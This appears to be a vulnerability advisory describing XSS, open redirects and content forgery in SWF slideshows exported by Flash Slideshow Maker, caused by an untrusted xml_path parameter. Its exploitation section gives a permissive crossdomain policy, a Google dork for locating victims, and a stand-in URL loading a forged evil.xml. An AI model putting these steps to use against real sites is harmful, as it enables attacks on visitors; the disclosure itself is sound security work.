XSS in HTML Content Generated by Flash Slideshow Maker (All Versions)

The vulnerability identified does not exist within the software application itself, instead, the vulnerability presents itself within the application's exported files which end up hosted on an external web-server. Socusoft's Flash Slideshow Maker application has two configuration themes associated with generating the slideshow content, basic and advanced. The basic theme will generate a single SWF file containing the content embedded within. Whereas, the 'advanced' theme is XML driven. Meaning, in the final output, there will be the SWF itself, image files and an XML document containing the configuration that controls the SWFs behaviour. This 'advanced' theme configuration is the cause of why such a vulnerability exists. Therefore the themes associated with the advanced configuration are vulnerable, whereas the content associated with the themes outlined in the 'basic' configuration are not vulnerable. This vulnerability exists not because of the SWF but due to the insecurity associated with it's XML configuration file, and the fact that the xml_path HTTP parameter trusts user supplied input. An attacker can pull the XML configuration containing the SWFs behavioural structure. In doing so, the attacker can mimic, forge and thus alter the pre-defined behaviour of the SWF by assigning malicious arbitrary values within the associated XML configuration parameters. Exploitation is achieved by uploading the evil XML to a web server, where it is now possible to remotely call and include the fraudulent XML through the SWF via GET. An attacker can perform Content Forgery, Unvalidated Redirects, and XSS attacks against authenticated and un-authenticated users through the dissemination of a compromised URL. In order for any of the vulnerabilities (besides Content Forgery of course) to execute, the victim is required to click on the image within the slides. The likelihood of this can be enhanced through the XML configurations title variables, and setting the title to be staticly displayed, however this persuasion could also be conducted through the Content Forgery where a JPEG or any other image file can be displayed containing text to persuade the victim to perform the required user interaction. **Preconditions** In order to exploit this vulnerability, the attacker must have a correctly configured crossdomain policy running on the same server that they are hosting the malicious XML file. An example is as seen below: <?xml version="1.0"?> <!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"> <cross-domain-policy> <site-control permitted-cross-domain-policies="all"/> <allow-access-from domain="*" secure="false"/> <allow-http-request-headers-from domain="*" headers="*" secure="false"/> </cross-domain-policy> **Exploitation** Vulnerable endpoints can be located through the following Google Dork: filetype:swf inurl:?xml_path= *~ 64,500* potentially vulnerable endpoints match this criteria. Obtain the SWFs XML configuration, by replacing the .swf extension value with that of the called GET .xml value stored in the xml_path HTTP parameter. Once obtained, edit the XML configuration to control the SWFs behaviour. Finally host it on a web server where it can then be called through setting the xml_path parameter to point to the now manipulated XML config; ?xml_path=//domain.com/path/to/evil.xml again, to execute XSS and evil redirects, click on the image containing the associated payload.